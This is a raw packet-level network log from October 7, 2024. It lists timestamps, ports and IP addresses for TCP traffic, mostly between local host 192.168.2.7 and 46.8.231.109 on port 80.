Oct 7, 2024 18:43:17.443006992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443027020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443038940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443048954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443059921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443068981 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443087101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443125963 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443133116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443145990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443156004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443165064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443175077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443176985 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443186045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443205118 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443223953 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443273067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443284035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443293095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443304062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443312883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443319082 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443324089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443334103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443352938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443382025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443389893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443398952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443408966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443418980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443428993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443432093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443442106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443458080 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443473101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443510056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443519115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443528891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443538904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443550110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443558931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443569899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443579912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.443583012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443597078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.443627119 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444051981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444062948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444073915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444098949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444118023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444168091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444180012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444190025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444200039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444211006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444211960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444221020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444243908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444255114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444323063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444341898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444355011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444367886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444375992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444380045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444391012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444397926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444401979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444412947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444422960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444425106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444433928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444444895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444444895 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444456100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.444463015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444479942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.444500923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.448879957 CEST	49710	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:17.448896885 CEST	443	49710	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:17.585186958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585212946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585227966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585246086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585256100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585258961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.585268974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585280895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585290909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585302114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.585345984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.585915089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585925102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585937023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.585972071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.585998058 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586082935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586123943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586153030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586164951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586194992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586205959 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586241007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586252928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586262941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586275101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586285114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586287022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586314917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586325884 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586409092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586420059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586430073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586440086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586450100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586451054 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586458921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586468935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586476088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586479902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586491108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586499929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586504936 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586510897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586520910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586529970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586530924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586544037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586554050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586558104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586577892 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586599112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586746931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586757898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586766958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586776972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586786032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586786985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586805105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586815119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586815119 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586824894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586836100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586842060 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586846113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586854935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586855888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586868048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586877108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586884975 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586885929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586896896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586911917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586913109 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586920977 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586924076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586935043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.586955070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.586976051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587084055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587095022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587105036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587115049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587125063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587125063 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587135077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587138891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587146997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587157965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587168932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587193012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587209940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587219954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587229967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587240934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587249994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587251902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587261915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587271929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587271929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587284088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587295055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587296963 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587306023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587323904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587338924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587341070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587352991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587362051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587366104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587372065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587382078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587388992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587398052 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587399006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587409973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587420940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587430954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587441921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587455034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587455034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587461948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587471962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587481022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587481976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587493896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587502956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587503910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587517023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587526083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587532997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587537050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587548018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587558031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587559938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587568045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587573051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587591887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587593079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587603092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587614059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587618113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587625027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587635040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587642908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587645054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587656021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587661982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587666035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587675095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587677956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587692022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587703943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587718964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587728977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587728977 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587743044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587755919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.587758064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587781906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.587805033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.589943886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.589955091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.589965105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.589976072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.589986086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.589988947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.589997053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590008020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590013027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.590018988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590029955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590030909 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.590039968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590050936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590058088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.590060949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590073109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.590085983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.590104103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.590126991 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.727653027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.727672100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.727683067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.727696896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.727711916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.727720976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.727730989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.727752924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.727787971 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728086948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728097916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728107929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728117943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728122950 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728147984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728174925 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728207111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728218079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728225946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728230953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728235006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728244066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728244066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728255033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728266001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728266001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728271961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728290081 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728329897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728826046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728837967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728847980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728853941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728863955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728872061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728874922 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728887081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728893042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728898048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728909016 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728919029 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728919983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728933096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728933096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728945017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728945971 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728955984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728965998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728972912 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.728977919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728991032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.728991985 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.729005098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:17.729006052 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.729031086 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.729477882 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.836057901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:17.841190100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.096859932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.096884012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.096899986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.096914053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.096926928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.096930027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.096949100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.096955061 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.097006083 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.097461939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:18.097503901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:18.097515106 CEST	80	49699	46.8.231.109	192.168.2.7
